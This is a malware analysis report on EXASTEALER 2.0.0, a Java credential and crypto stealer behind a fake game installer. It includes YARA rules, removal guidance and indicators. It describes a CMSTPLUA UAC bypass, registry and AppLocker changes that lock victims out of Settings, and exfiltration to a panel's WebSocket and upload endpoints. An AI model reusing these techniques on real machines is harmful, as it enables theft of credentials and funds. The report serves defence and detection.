EXASTEALER 2.0.0: a commercial stealer panel moves in

It’s a bigger tool than the build it replaced. Its command channel is a self-hosted panel rather than a Discord bot, though it still steals Discord tokens and modifies the Discord client, and it locks the victim out of Windows Settings at every logon.

Note Source summary. My own static analysis of the installer and every component, plus two instrumented lab runs against an emulated panel (reliability A, credibility 2; see How I rate things). The possible link to Lucid Stealer rests on comparison with public reporting (B2) and carries low confidence. It’s the third of three builds served by the BRITTLE COMPASS lure.

Same lure, new payload #

Nothing changed on the outside. Same site, same password, same download button, even the same file name as the 1.2.6 build: <game>-Setup-1.2.6.exe. Only the hash tells you it’s a different program, so identify this build by hash, never by name.

Inside, the package now carries the game’s name with version 2.0.0, and it’s 135.6 MB of installer with, again, no game. The recorded timestamps put the native DLL, the Java payload and the archive within a few minutes of each other on 15 October 2026, which is consistent with one scripted build. Timestamps are metadata the builder controls, not a build log, so that’s a consistency, not a fact.

The launcher: decode, unpack, hide #

The installer runs the Electron application from a random folder under %TEMP%, not from Program Files, and creates no install directory at all. Its entry point, launcher1.js, keeps its 161 strings XOR-encoded under a 28-byte key. Decoded, it does this:

1. Re-launches itself hidden and lets the visible process exit. Still no window.
2. Copies the bundled 7za.exe to %LOCALAPPDATA%\emre\data_helper.exe and uses it to open a header-encrypted archive:

data_helper.exe x data.7z -p0OxLekGMT7JP -o%LOCALAPPDATA%\emre -y

3. Unpacks jre.zip, a trimmed Java 21 runtime, to %LOCALAPPDATA%\emre\jre\, then deletes both archives.
4. Starts jre\bin\java.exe -jar emre.jar, writes two persistence entries (below), waits up to 20 seconds to see Java running, and exits.

That 7-Zip password is published here deliberately: analysts need it to open the sample, and it tells the operator nothing.

One launch in the lab failed silently partway through unpacking the runtime, with no error and no network contact, and a second double-click worked. A victim who says the first attempt did nothing may have been infected on the second.

What a defender can catch here: a renamed 7-Zip (OriginalFileName 7za.exe) extracting a password-protected archive into AppData, and a Java runtime appearing under %LOCALAPPDATA%\emre\.

The payload: Exastealer 1.0 #

emre.jar declares itself in its own manifest: Implementation-Title: Exastealer, version 1.0, main class com.xf91b21414.eNTOWTVJwQ. It’s an obfuscated Kotlin/Java application of 3,292 classes, 68 of them the attacker’s own.

The string encryption is the interesting part. Each class decrypts its strings with a key taken from the calling class and method name on the stack, so the same ciphertext decodes differently depending on who calls it, and searching the decompiled code for a string finds nothing. Lifting every per-class decoder decoded 3,352 call sites and left 13 short strings unresolved. I found no virtual-machine, sandbox or debugger checks; it ran normally in a VM.

The MicroFlow 4.0 builder watermark that marked MICROSTEALER is gone: present in 0 of 3,292 classes. The obfuscator changed, so that pivot does not find this build.

Silent elevation with a custom DLL #

Earlier builds either asked for admin or carried UAC-bypass code in Java. This one ships the first custom native DLL in any of the three installers: peynir.dll, a 118 KB x64 DLL compiled with Visual Studio 2022, stored inside a payload class as 317 XOR-encoded chunks. It exports only JNI_OnLoad and one function:

Java_com_xf91b21414_ljvJUJrsU_nativeRunElevated

The medium-integrity payload writes the DLL to a random folder (for example %LOCALAPPDATA%\Microsoft\<8 hex>\sys_cache_<8 hex>.dll), loads it, and the DLL drives the CMSTPLUA COM object to relaunch Java elevated:

DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
  -> %LOCALAPPDATA%\emre\jre\bin\java.exe -noverify -jar ...\emre\emre.jar     (High integrity)

On the tested host (Windows 11, the user a local administrator running with a filtered token), the process relaunched at High integrity without a consent prompt, and the original process exited. That’s the condition this kind of UAC bypass works under. It is not a way for a standard user to become an administrator, and different UAC settings can stop it. In the lab it repeated at each successful start, including after a reboot and logon, and each run dropped another copy of the DLL that was never cleaned up: the lab machine ended up with seven identical copies. Several copies mean repeated starts; the count isn’t an exact tally.

What a defender can catch here: dllhost.exe with that CMSTPLUA process ID spawning java.exe from a user profile is the strongest single signal for this build, and in the lab it fired at every logon.

First run: background modules and check-in #

Elevated, the payload starts its background jobs:

• a clipboard clipper and a keylogger;
• a victim ID of the form EMRE- plus 12 hex characters, derived from the user name and processor ID;
• a SOCKS5 proxy on 127.0.0.1:17845 with per-host credentials;
• a single-instance lock bound to all interfaces on TCP 17844, which pops up a Windows Firewall prompt naming “Java(TM) Platform SE binary”. That prompt is a visible clue a victim might mention;
• a taskkill /F on all four Discord client process names.

Then it connects to its panel, a plain WebSocket to an IP address with no domain and no TLS:

ws://20.55.17[.]20:3001/ws
  -> {"type":"client_init","key":"PANEL-XXXX-XXXX-XXXX","hwid":"<COMPUTERNAME>","username":"...","os":"..."}
  -> {"type":"socks_register","hwid":"...","user":"<random>","pass":"<random>"}

(the customer licence key is redacted)

The key in client_init has the shape of a customer licence for the panel, and the client presents it in every message it sends. That lets the panel sort victims by key. Whether each key belongs to a separate paying customer is part of the moderate-confidence commercial-tooling assessment below, not something the key proves.

The Settings lockout #

Within about 12 seconds of starting, java.exe spawns roughly 30 cmd.exe children that make Windows hard to fix:

• Image File Execution Options debugger entries on SystemSettings.exe and SystemSettingsAdminFlows.exe pointing at systray.exe, so Settings simply doesn’t open;
• Explorer policies NoControlPanel, NoSettingsPage, SettingsPageVisibility=hide:* and a DisallowRun list naming both Settings executables, in both HKCU and HKLM;
• an AppLocker policy merged in with PowerShell that denies both Settings executables, with the Application Identity service forced to automatic so the policy is enforced;
• a self-deleting VBScript that sets DisableTaskMgr and NoTrayContextMenu;
• and it deletes any DisableCMD policy, so the payload keeps its own command shell.

It reapplies all of this at every logon. Deleting the malware’s files alone leaves the victim locked out of Settings, Control Panel and Task Manager.

Collection and upload #

Twenty-four seconds after check-in it builds %TEMP%\<epoch_ms>-Palenkova_<victim ID>.zip and posts it to http://20.55.17[.]20:3001/api/upload as multipart form data. On success it writes %LOCALAPPDATA%\emre\.upl_<victim ID> and doesn’t upload automatically again. The archive is left behind in %TEMP%, which makes it the best record of what was collected. It shows what was prepared, not that a real panel received it. In the lab the emulated panel received a byte-identical copy. The table lists the archive’s entries; the right-hand column says what they held in the lab:

Wallets. Its configuration targets 48 desktop wallet paths and 52 browser-extension IDs across Chrome, Edge, Brave, Opera and Opera GX, including authenticator extensions (Authy, Google Authenticator, EOS Authenticator) (static). In the lab it took all 11 wallets I planted, 7 desktop and 4 extension (lab). That confirms the collector works; it doesn’t test the other 89 targets. Treat any second factor held in a browser extension as exposed.

Steam. If steam.exe exists, it kills Steam, reads its login files (loginusers.vdf, config.vdf, local.vdf, ssfn*) and looks the account up on steamcommunity.com to price its inventory (static). In the lab it collected the planted account name, but no token: my planted token file wasn’t in the format it looks for. Token theft is in the code; I haven’t seen it work.

Browsers and Discord. Chromium and Firefox passwords, cookies, history and bookmarks; Chrome’s App-Bound key via SYSTEM-token impersonation; Firefox key4.db decrypted in pure Java, which a Firefox Primary Password defeats. Discord tokens are taken, validated through the panel, and the Discord desktop client is modified to capture logins, registration, two-factor and billing flows, reporting to the panel. That modification lives in Discord’s own files and outlasts the payload.

The clipper. It checks the clipboard every 500 milliseconds and swaps Bitcoin addresses for bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh and Ethereum addresses for the zero address. That Bitcoin address appeared in the July 2020 Twitter account-takeover scam and is widely reproduced as a sample address in public documentation. That history doesn’t tell me who controls it now; my best guess is a placeholder in the kit’s configuration, but that’s a guess. A payment to either address on a machine that ran this build is a lead, not proof: confirm the clipper ran with evidence from the machine and the wallet before concluding it. Funds sent to the zero address are gone.

What the operator can do #

The panel can send 40 commands. Thirteen were run in the lab, one at a time, each checked on the host before the next; the destructive ones were refused by design.

Like the build before it, the payload’s replies are not evidence: browser_inject says “injected” while doing nothing, and cam_device_list reported a camera on a machine without one.

The proxy matters for victims twice. The operator can route traffic through the victim’s connection and launch floods from it, so abuse complaints about the victim’s IP address are possible after an infection.

The ransomware is AES-CTR, renames files to .locked, drops Desktop\readme.txt, and swaps the wallpaper. The key is supplied with the operator’s ransom_start command; there’s no fixed key in the sample. It never runs on its own.

The lure pages. show_setup puts a full-screen fake installer or fake network error in a kiosk-mode browser, using one of four HTML pages built into the JAR: “MC Client Setup”, “Game Setup”, “Watch Party Setup” and “Setup Error”. The Minecraft-client one ends on a fake Network Error 0x80072EFE and closes itself. No page asks for a password. The pages’ licence text names “MC Studio” and says it’s “governed by the laws of the Republic of Turkey”. Like the Turkish strings, that’s low-confidence context about the people behind the kit, not attribution.

Who builds this: Palenkova and Lucid Stealer #

The archive tag Palenkova, the PANEL-XXXX-XXXX-XXXX key and the way every client message carries that key all fit a commercial panel sold to customers. I assess with moderate confidence that BRITTLE COMPASS is a customer of that panel rather than its author, based on that licensing design and on the kit’s unused options (empty clipper slots for four of six coins, a removed browser-injection feature still named in a reply). None of that proves a purchase.

Palenkova may share a panel or protocol with Lucid Stealer, a stealer sold through Telegram with a hosted, multi-tenant control panel for its subscribers, first reported by Foresiet in June 2026 ^{[1, 2]}. I hold that with low confidence. The overlap I can show is three endpoint paths: Lucid Stealer was reported uploading to /api/upload, reporting to /api/internal/log and taking commands over /ws ^[2], and EXASTEALER uses exactly those three, plus /api/validate-tokens and /api/discord-injection/<key>. Generic path names like those could turn up in unrelated kits. The clients don’t match: Lucid’s was reported as a Node.js single-executable application, and EXASTEALER is Java. A shared panel with a rewritten client is one explanation; coincidence is another. Distinctive panel code or protocol details shared by both, or the seller confirming a rename, would raise it.

The build machine’s clock adds nothing reliable: the JAR’s entry times sit at exactly UTC−7, while the previous build recorded UTC+3.

Removal #

This build gives the operator a High-integrity shell, file upload and execution, and input control. Rebuild an infected machine: removing the original malware can’t establish that it’s clean. Whether the operator actually used those commands on a given machine is a separate question that only host or network evidence answers. Do these now, in order:

1. Take the machine off the network, and keep it off until it’s rebuilt. Keep the evidence before cleaning: the %TEMP%\*-Palenkova_*.zip archive shows what was collected, and %TEMP%\launcher_debug.log shows what the launcher did. Neither proves the operator received anything. If files have been renamed to .locked, keep the machine powered on.
2. From a different, clean device, sign out every session using each provider’s own controls, then change passwords: email first, then Discord, Steam and everything saved in the browser. A password change doesn’t reliably end existing sessions, which is why the sign-out comes first.
3. On Discord, from that clean device, sign out every session, then remove and re-enroll two-factor so a new secret is issued. If Steam was installed, deauthorize all Steam devices.
4. Move cryptocurrency to wallets created on a clean device, re-enroll any second factor that lived in a browser extension, and check outgoing transactions for addresses that were pasted rather than typed.
5. Rebuild the machine. If a rebuild has to wait, preserve evidence first, then remove what’s in the host artifacts table below, in this order: end java.exe, delete %LOCALAPPDATA%\emre\, every sys_cache_*.dll copy, the Run value and the Startup shortcut. Then remove the specific IFEO, Explorer policy and AppLocker entries the malware added, and put the Application Identity service back to the machine’s known baseline, not a blanket reset or an assumed default. On a managed machine those may carry the organization’s own policy. Finally, uninstall Discord with its data deleted. Skip the policy cleanup and the victim is still locked out of Settings. A temporary cleanup doesn’t show that anything the operator added later is gone.

For the network: block 20.55.17[.]20 on TCP 3001 and 3002 at the perimeter, search network logs for earlier connections to find other infected machines, and check the machine’s public IP for abuse reports, because the proxy and flood modules make the victim’s connection the operator’s.

Detection #

YARA #

Each rule matched its target and none matched a negative set of 36,740 files, including both earlier builds’ samples, this build’s benign components and system Java and Python libraries. They have not been tested against a broad benign corpus; tune before production use. The launcher rule also matches the 2.0.0 app.asar, which contains the launcher.

rule Exastealer_Payload_JAR
{
    meta:
        description = "EXASTEALER payload (emre.jar): lure pages and native SQLite bundled in the JAR"
        sha256 = "f6902ecae98967c5322572bd0d021ec482b36f7d7d1ed1e65372ac52a0d66df5"
    strings:
        $l1  = "mc-client-setup.html" ascii
        $l2  = "beta-game-setup.html" ascii
        $l3  = "watch-setup.html" ascii
        $l4  = "fake-error.html" ascii
        $sql = "native/sqlite3.dll" ascii
        $ws  = "org/java_websocket/" ascii
    condition:
        uint32(0) == 0x04034b50 and 3 of ($l*) and $sql and $ws
}

rule Exastealer_Elevation_DLL
{
    meta:
        description = "EXASTEALER elevation DLL (peynir.dll, dropped as sys_cache_<8hex>.dll): JNI export for the COM-moniker UAC bypass"
        sha256 = "42f8c45a08c118ee8703b4e623395ef64df033e62287af7b3bbcaf4a1575c290"
    strings:
        $exp = "_nativeRunElevated" ascii
        $jni = "JNI_OnLoad" ascii
        $co  = "CoGetObject" ascii
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        filesize < 1MB and all of them
}

rule Exastealer_Launcher_JS
{
    meta:
        description = "EXASTEALER Electron launcher (launcher1.js): payload unpack, hidden respawn and startup registration"
        sha256 = "e12b6bb605dce1b40fce8a98df29aefa4552ae72e0e1a9b2485b601dbf7f609f"
    strings:
        $f1 = "registerStartup" ascii
        $f2 = "restartSelf" ascii
        $f3 = "sevenZipPath" ascii
        $f4 = "javawExe" ascii
        $f5 = "srcCandidates" ascii
        $f6 = "archivePath" ascii
    condition:
        filesize < 500KB and 5 of them
}

rule Exastealer_Lure_Page
{
    meta:
        description = "EXASTEALER kiosk-mode lure pages (fake installer / fake network error)"
    strings:
        $t1 = "<title>MC Client Setup</title>" ascii
        $t2 = "<title>Game Setup</title>" ascii
        $t3 = "<title>Watch Party Setup</title>" ascii
        $t4 = "<title>Setup Error</title>" ascii
        $e1 = "0x80072EFE" ascii
        $e2 = "0x80072F8F" ascii
        $e3 = "0x80072EFD" ascii
        $s1 = "MC Studio" ascii
        $s2 = "Games Studio" ascii
        $s3 = "WATCH PARTY END USER LICENSE AGREEMENT" ascii
    condition:
        filesize < 200KB and
        ( ($t1 and $s1 and $e1) or ($t2 and $s2 and $e1) or
          ($t3 and $s3 and $e3) or ($t4 and $e2) )
}

Indicators #

Benign components, so they don’t get flagged by content alone: elevate.exe (9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37, the electron-builder helper, unchanged from 1.2.6) and 7za.exe (b0cfdeaf429f5cc53f85123dd8f5a5feb92c19d31aa34df257edf9a26be05f95). Their location is still a signal.

ATT&CK mapping #

References #

1. GBHackers, “Lucid Stealer hits 18 browsers”, 8 June 2026, reporting Foresiet’s analysis. gbhackers.com (opens in a new tab) (B2: secondary reporting of a primary analysis)
2. CYFIRMA, “Technical Analysis of Lucid Stealer: Execution, Capabilities, and C2 Infrastructure”, 10 August 2026. cyfirma.com (opens in a new tab) (B2)